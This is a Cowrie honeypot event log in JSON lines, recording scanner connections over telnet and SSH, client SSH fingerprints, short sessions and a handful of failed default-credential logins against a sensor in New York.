{"eventid":"cowrie.session.closed","duration":31.228874444961548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:49.385866Z","src_ip":"159.223.86.167","session":"6fa503dfecad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39210,"dst_ip":"10.17.0.5","dst_port":23,"session":"aba5dc7c09af","protocol":"telnet","message":"New connection: 213.136.75.179:39210 (10.17.0.5:23) [session: aba5dc7c09af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:49.941855Z"}
{"eventid":"cowrie.session.closed","duration":31.75067949295044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:51.738053Z","src_ip":"159.223.86.167","session":"d0a637b4e4fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39218,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3a99a90026","protocol":"telnet","message":"New connection: 213.136.75.179:39218 (10.17.0.5:23) [session: eb3a99a90026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:52.877728Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39228,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d921d450ddf","protocol":"telnet","message":"New connection: 213.136.75.179:39228 (10.17.0.5:23) [session: 0d921d450ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:53.039804Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":56070,"dst_ip":"10.17.0.5","dst_port":22,"session":"54e6e65e5a2b","protocol":"ssh","message":"New connection: 20.244.18.126:56070 (10.17.0.5:22) [session: 54e6e65e5a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:53.448048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:53.452279Z","src_ip":"20.244.18.126","session":"54e6e65e5a2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":49056,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4dafeba3f28","protocol":"telnet","message":"New connection: 159.223.86.167:49056 (159.203.135.109:23) [session: e4dafeba3f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:53.463591Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:53.639515Z","src_ip":"20.244.18.126","session":"54e6e65e5a2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.228918313980103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:53.649664Z","src_ip":"159.223.86.167","session":"f71dafa53132","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36758,"dst_ip":"10.17.0.5","dst_port":22,"session":"330e5bed76ef","protocol":"ssh","message":"New connection: 176.65.139.103:36758 (10.17.0.5:22) [session: 330e5bed76ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:53.839453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:53.844303Z","src_ip":"176.65.139.103","session":"330e5bed76ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:53.956453Z","src_ip":"176.65.139.103","session":"330e5bed76ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39244,"dst_ip":"10.17.0.5","dst_port":23,"session":"439e21110940","protocol":"telnet","message":"New connection: 213.136.75.179:39244 (10.17.0.5:23) [session: 439e21110940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:54.142819Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":52286,"dst_ip":"159.203.135.109","dst_port":23,"session":"9257f1a20978","protocol":"telnet","message":"New connection: 159.223.86.167:52286 (159.203.135.109:23) [session: 9257f1a20978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:54.189326Z"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:54.236127Z","src_ip":"176.65.139.103","session":"330e5bed76ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu1","password":"ubuntu1","message":"login attempt [ubuntu1/ubuntu1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:54.429467Z","src_ip":"20.244.18.126","session":"54e6e65e5a2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60122,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b59eb5d5bf4","protocol":"ssh","message":"New connection: 159.203.92.129:60122 (159.203.135.109:22) [session: 2b59eb5d5bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:54.656083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:54.661297Z","src_ip":"159.203.92.129","session":"2b59eb5d5bf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:54.668357Z","src_ip":"159.203.92.129","session":"2b59eb5d5bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anonymous","password":"anonymous","message":"login attempt [anonymous/anonymous] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:54.680596Z","src_ip":"159.203.92.129","session":"2b59eb5d5bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.138830184936523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:55.172676Z","src_ip":"159.223.86.167","session":"406f71bd0e53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:55.330816Z","src_ip":"176.65.139.103","session":"330e5bed76ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:55.620195Z","src_ip":"20.244.18.126","session":"54e6e65e5a2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:55.723266Z","src_ip":"159.203.92.129","session":"2b59eb5d5bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.47536563873291,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:57.132671Z","src_ip":"213.136.75.179","session":"68a4d52504a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":51772,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cfffa45fe69","protocol":"telnet","message":"New connection: 213.136.75.179:51772 (10.17.0.5:23) [session: 3cfffa45fe69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:58.895063Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":51788,"dst_ip":"10.17.0.5","dst_port":23,"session":"75862cc11e02","protocol":"telnet","message":"New connection: 213.136.75.179:51788 (10.17.0.5:23) [session: 75862cc11e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:59.894696Z"}
{"eventid":"cowrie.session.closed","duration":31.33088707923889,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:00.743736Z","src_ip":"213.136.75.179","session":"2441a8dab7f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":51804,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fe5c17c708b","protocol":"telnet","message":"New connection: 213.136.75.179:51804 (10.17.0.5:23) [session: 5fe5c17c708b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:00.985135Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36786,"dst_ip":"10.17.0.5","dst_port":22,"session":"434a47326857","protocol":"ssh","message":"New connection: 176.65.139.103:36786 (10.17.0.5:22) [session: 434a47326857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:01.615836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:01.620498Z","src_ip":"176.65.139.103","session":"434a47326857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:01.702291Z","src_ip":"176.65.139.103","session":"434a47326857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:01.956499Z","src_ip":"176.65.139.103","session":"434a47326857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.389911890029907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:02.141491Z","src_ip":"159.223.86.167","session":"b11f3e570821","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37745189666748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:02.159411Z","src_ip":"159.223.86.167","session":"1c53f7ddc16b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:03.041673Z","src_ip":"176.65.139.103","session":"434a47326857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":35416,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f213597f1d9","protocol":"telnet","message":"New connection: 159.223.86.167:35416 (159.203.135.109:23) [session: 5f213597f1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:03.662585Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":40504,"dst_ip":"159.203.135.109","dst_port":23,"session":"6302a21f5cae","protocol":"telnet","message":"New connection: 159.223.86.167:40504 (159.203.135.109:23) [session: 6302a21f5cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:04.882381Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":44688,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8b331933a9f","protocol":"telnet","message":"New connection: 159.223.86.167:44688 (159.203.135.109:23) [session: c8b331933a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:05.918168Z"}
{"eventid":"cowrie.session.closed","duration":34.93714213371277,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:06.997020Z","src_ip":"213.136.75.179","session":"dca4fa598b6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55678,"dst_ip":"10.17.0.5","dst_port":22,"session":"93efda52bf92","protocol":"ssh","message":"New connection: 176.65.139.103:55678 (10.17.0.5:22) [session: 93efda52bf92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:09.204505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:09.209105Z","src_ip":"176.65.139.103","session":"93efda52bf92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:09.291331Z","src_ip":"176.65.139.103","session":"93efda52bf92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:09.544081Z","src_ip":"176.65.139.103","session":"93efda52bf92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:10.630863Z","src_ip":"176.65.139.103","session":"93efda52bf92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.47552275657654,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:10.838585Z","src_ip":"213.136.75.179","session":"cec8f747c20c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.301645040512085,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:11.464777Z","src_ip":"213.136.75.179","session":"108856a0a0cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":56848,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a4ad34a9116","protocol":"telnet","message":"New connection: 213.136.75.179:56848 (10.17.0.5:23) [session: 1a4ad34a9116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:13.105921Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":56854,"dst_ip":"10.17.0.5","dst_port":23,"session":"001abadc199c","protocol":"telnet","message":"New connection: 213.136.75.179:56854 (10.17.0.5:23) [session: 001abadc199c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:13.251252Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":56856,"dst_ip":"10.17.0.5","dst_port":23,"session":"192accbf294c","protocol":"telnet","message":"New connection: 213.136.75.179:56856 (10.17.0.5:23) [session: 192accbf294c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:13.511636Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60382,"dst_ip":"159.203.135.109","dst_port":23,"session":"2718b946b5b1","protocol":"telnet","message":"New connection: 23.254.167.244:60382 (159.203.135.109:23) [session: 2718b946b5b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:13.552336Z"}
{"eventid":"cowrie.session.closed","duration":37.50731563568115,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:13.915482Z","src_ip":"213.136.75.179","session":"5a185bb73d57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":56864,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ac6749b2fa","protocol":"telnet","message":"New connection: 213.136.75.179:56864 (10.17.0.5:23) [session: 72ac6749b2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:14.808721Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":56880,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c137b6645f2","protocol":"telnet","message":"New connection: 213.136.75.179:56880 (10.17.0.5:23) [session: 6c137b6645f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:14.945569Z"}
{"eventid":"cowrie.session.closed","duration":30.544729232788086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:15.249615Z","src_ip":"159.223.86.167","session":"ddeea5420357","protocol":"telnet"}
